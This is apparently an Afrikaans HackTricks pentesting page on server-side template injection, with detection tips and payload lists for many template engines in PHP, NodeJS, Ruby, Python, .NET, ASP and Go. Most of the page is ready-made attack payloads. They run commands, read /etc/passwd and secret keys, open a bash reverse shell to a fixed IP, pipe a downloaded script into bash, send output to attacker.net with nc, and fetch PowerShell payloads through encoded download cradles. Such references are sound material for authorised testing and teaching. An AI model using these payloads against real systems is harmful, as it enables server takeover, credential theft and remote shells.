# SSTI (Server Side Template Injection) {{#include ../../banners/hacktricks-training.md}} ## Wat is SSTI (Server-Side Template Injection) Server-side template injection is 'n kwesbaarheid wat voorkom wanneer 'n aanvaller kwaadwillige kode in 'n sjabloon kan inspuit wat op die bediener uitgevoer word. Hierdie kwesbaarheid kan in verskeie tegnologieë gevind word, insluitend Jinja. Jinja is 'n gewilde sjabloon enjin wat in webtoepassings gebruik word. Kom ons oorweeg 'n voorbeeld wat 'n kwesbare kode-snippet met Jinja demonstreer: ```python output = template.render(name=request.args.get('name')) ``` In hierdie kwesbare kode word die `name` parameter van die gebruiker se versoek direk in die sjabloon deur die `render` funksie oorgedra. Dit kan potensieel 'n aanvaller toelaat om kwaadwillige kode in die `name` parameter in te spuit, wat lei tot server-side template injection. Byvoorbeeld, 'n aanvaller kan 'n versoek saamstel met 'n payload soos hierdie: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` Die payload `{{bad-stuff-here}}` word in die `name` parameter ingespuit. Hierdie payload kan Jinja-sjabloonriglyne bevat wat die aanvaller in staat stel om ongeoorloofde kode uit te voer of die sjabloon-enjin te manipuleer, wat moontlik beheer oor die bediener kan verkry. Om bediener-kant sjabloon-inspuitingskwulnerabiliteite te voorkom, moet ontwikkelaars verseker dat gebruikersinvoer behoorlik gesuiwer en gevalideer word voordat dit in sjablone ingevoeg word. Die implementering van invoervalidasie en die gebruik van konteksbewuste ontsnappingstegnieke kan help om die risiko van hierdie kwesbaarheid te verminder. ### Opsporing Om Server-Side Template Injection (SSTI) te ontdek, is dit aanvanklik **fuzzing die sjabloon** 'n eenvoudige benadering. Dit behels die inspuiting van 'n reeks spesiale karakters (**`${{<%[%'"}}%\`**) in die sjabloon en die analise van die verskille in die bediener se reaksie op gewone data teenoor hierdie spesiale payload. Kwulnerabiliteitsaanwysers sluit in: - Gegooi foute, wat die kwesbaarheid en moontlik die sjabloon-enjin onthul. - Afwesigheid van die payload in die refleksie, of dele daarvan wat ontbreek, wat impliseer dat die bediener dit anders verwerk as gewone data. - **Plaktekst Konteks**: Onderskei van XSS deur te kyk of die bediener sjabloonuitdrukkings evalueer (bv. `{{7*7}}`, `${7*7}`). - **Kode Konteks**: Bevestig kwesbaarheid deur invoerparameters te verander. Byvoorbeeld, om `greeting` in `http://vulnerable-website.com/?greeting=data.username` te verander om te sien of die bediener se uitvoer dinamies of vas is, soos in `greeting=data.username}}hello` wat die gebruikersnaam teruggee. #### Identifikasiefase Die identifikasie van die sjabloon-enjin behels die analise van foutboodskappe of die handmatige toetsing van verskillende taalspesifieke payloads. Algemene payloads wat foute veroorsaak, sluit `${7/0}`, `{{7/0}}`, en `<%= 7/0 %>` in. Om die bediener se reaksie op wiskundige operasies te observeer, help om die spesifieke sjabloon-enjin te bepaal. #### Identifikasie deur payloads

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- Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **Meer inligting** - In Smarty afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) - `{{7*7}} = 49` - `${7*7} = ${7*7}` - `{{7*'7'}} = 49` - `{{1/0}} = Error` - `{{foobar}} Niks` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - Sjabloonformaat** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **Meer inligting** - In die Twig en Twig (Sandboxed) afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) Plates is 'n templating engine wat inheems aan PHP is, geïnspireer deur Twig. Maar, in teenstelling met Twig, wat 'n nuwe sintaksis bekendstel, maak Plates gebruik van inheemse PHP-kode in templates, wat dit intuïtief maak vir PHP-ontwikkelaars. Controller: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` Blad sjabloon: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` Layout sjabloon: ```html <?=$this->e($title)?> section('content')?> ``` **Meer inligting** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib en HTML_Template_PHPLIB (PHP) [HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is dieselfde as PHPlib, maar oorgedra na Pear. `authors.tpl` ```html {PAGE_TITLE}

Authors
Name	Email
{NUM_AUTHORS}
{AUTHOR_NAME}	{AUTHOR_EMAIL}

``` `authors.php` ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` **Meer inligting** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib) ### Ander PHP

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- Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ### Jade (NodeJS) ```javascript - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` **Meer inligting** - In die Jade afdeling van [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) > [patTemplate](https://github.com/wernerwa/pat-template) nie-kompilerende PHP templating engine, wat XML-tags gebruik om 'n dokument in verskillende dele te verdeel ```xml This is the main page. It contains another template. Hello {NAME}.
``` **Meer inligting** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate) ### Handlebars (NodeJS) Pad Traversering (meer inligting [hier](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` - \= Fout - ${7\*7} = ${7\*7} - Niks ```java {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D ``` **Meer inligting** - [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) ### JsRender (NodeJS) | **Sjabloon** | **Beskrywing** | | ------------ | --------------------------------------- | | | Evalueer en render uitvoer | | | Evalueer en render HTML-gecodeerde uitvoer | | | Kommentaar | | en | Laat kode toe (standaard gedeaktiveer) | - \= 49 **Kliëntkant** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` **Bediener Kante** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` **Meer inligting** - [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) ### PugJs (NodeJS) - `#{7*7} = 49` - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` **Voorbeeld bedienerkant weergawe** ```javascript var pugjs = require("pug") home = pugjs.render(injected_page) ``` **Meer inligting** - [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) ### NUNJUCKS (NodeJS) - \{{7\*7\}} = 49 - \{{foo\}} = Geen uitvoer - \#{7\*7} = #{7\*7} - \{{console.log(1)\}} = Fout ```javascript { { range.constructor( "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')" )() } } { { range.constructor( "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')" )() } } ``` **Meer inligting** - [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) ### Ander NodeJS

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- Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ### ERB (Ruby) - `{{7*7}} = {{7*7}}` - `${7*7} = ${7*7}` - `<%= 7*7 %> = 49` - `<%= foobar %> = Error` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` **Meer inligting** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Slim (Ruby) - `{ 7 * 7 }` ``` { %x|env| } ``` **Meer inligting** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Ander Ruby

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- Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ### Python Kyk na die volgende bladsy om truuks oor **arbitrary command execution bypassing sandboxes** in python te leer: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} ### Tornado (Python) - `{{7*7}} = 49` - `${7*7} = ${7*7}` - `{{foobar}} = Error` - `{{7*'7'}} = 7777777` ```python {% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}} ``` **Meer inligting** - [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado) ### Jinja2 (Python) [Amptelike webwerf](http://jinja.pocoo.org) > Jinja2 is 'n volledig funksionele sjabloon enjin vir Python. Dit het volle unicode ondersteuning, 'n opsionele geïntegreerde sandboxed uitvoeringsomgewing, word wyd gebruik en is BSD gelisensieer. - `{{7*7}} = Fout` - `${7*7} = ${7*7}` - `{{foobar}} Niks` - `{{4*4}}[[5*5]]` - `{{7*'7'}} = 7777777` - `{{config}}` - `{{config.items()}}` - `{{settings.SECRET_KEY}}` - `{{settings}}` - `

` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Sjabloonformaat** ```python {% raw %} {% extends "layout.html" %} {% block body %}

{{ user.username }}

{% endblock %} {% endraw %} ``` [**RCE nie afhanklik van**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Meer besonderhede oor hoe om Jinja te misbruik**: {{#ref}} jinja2-ssti.md {{#endref}} Ander payloads in [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` **Meer inligting** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) ### Ander Python

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- Meer inligting in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ### Razor (.Net) - `@(2+2) <= Success` - `@() <= Success` - `@("{{code}}") <= Success` - `@ <=Success` - `@{} <= ERROR!` - `@{ <= ERRROR!` - `@(1+2)` - `@( //C#Code )` - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en dus 'n webshell te skep. Jy kan 'n kwesbare webapp voorbeeld vind in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Meer inligting** - [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/]() - [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP - `<%= 7*7 %>` = 49 - `<%= "foo" %>` = foo - `<%= foo %>` = Niks - `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **Meer Inligting** - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) ### .Net Om beperkings te omseil Die .NET Reflection meganismes kan gebruik word om swartlys of klasse wat nie in die samestelling teenwoordig is nie, te omseil. DLL's kan tydens uitvoering gelaai word met metodes en eienskappe wat toeganklik is vanaf basiese voorwerpe. Dll's kan gelaai word met: - `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - vanaf die lêerstelsel. - `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direk vanaf die versoek. Volledige opdrag uitvoering: ``` {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))} ``` **Meer Inligting** - [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/) ### Mojolicious (Perl) Alhoewel dit perl is, gebruik dit etikette soos ERB in Ruby. - `<%= 7*7 %> = 49` - `<%= foobar %> = Error` ``` <%= perl code %> <% perl code %> ``` ### SSTI in GO In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifieke payloads: - `{{ . }}`: Ontbloot die data struktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel. - `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon. - `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie ondersoek word [here](https://golang.org/pkg/text/template).

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**XSS Exploitation** Met die `text/template` pakket kan XSS eenvoudig wees deur die payload direk in te voeg. In teenstelling hiermee, kodeer die `html/template` pakket die antwoord om dit te voorkom (bv., `{{""}}` lei tot `<script>alert(1)</script>`). Nietemin, sjabloon definisie en aanroep in Go kan hierdie kodering omseil: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **RCE Exploitation** RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe dat enige publieke funksie direk aangeroep word (met die “call” waarde), wat nie in `html/template` toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar [here for html/template](https://golang.org/pkg/html/template/) en [here for text/template](https://golang.org/pkg/text/template/). Vir RCE via SSTI in Go, kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos `{{ .System "ls" }}` uitgebuit word. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **Meer inligting** - [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) - [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Meer Exploits Kyk na die res van [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) vir meer exploits. Jy kan ook interessante etiket inligting vind in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF {{#file}} EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf {{#endfile}} ## Verwante Hulp As jy dink dit kan nuttig wees, lees: - [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md) - [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) ## Gereedskap - [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) - [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) - [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) - [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) ## Brute-Force Opsporing Lys {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt {{#endref}} ## Oefening & Verwysings - [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) - [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) - [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection) {{#include ../../banners/hacktricks-training.md}}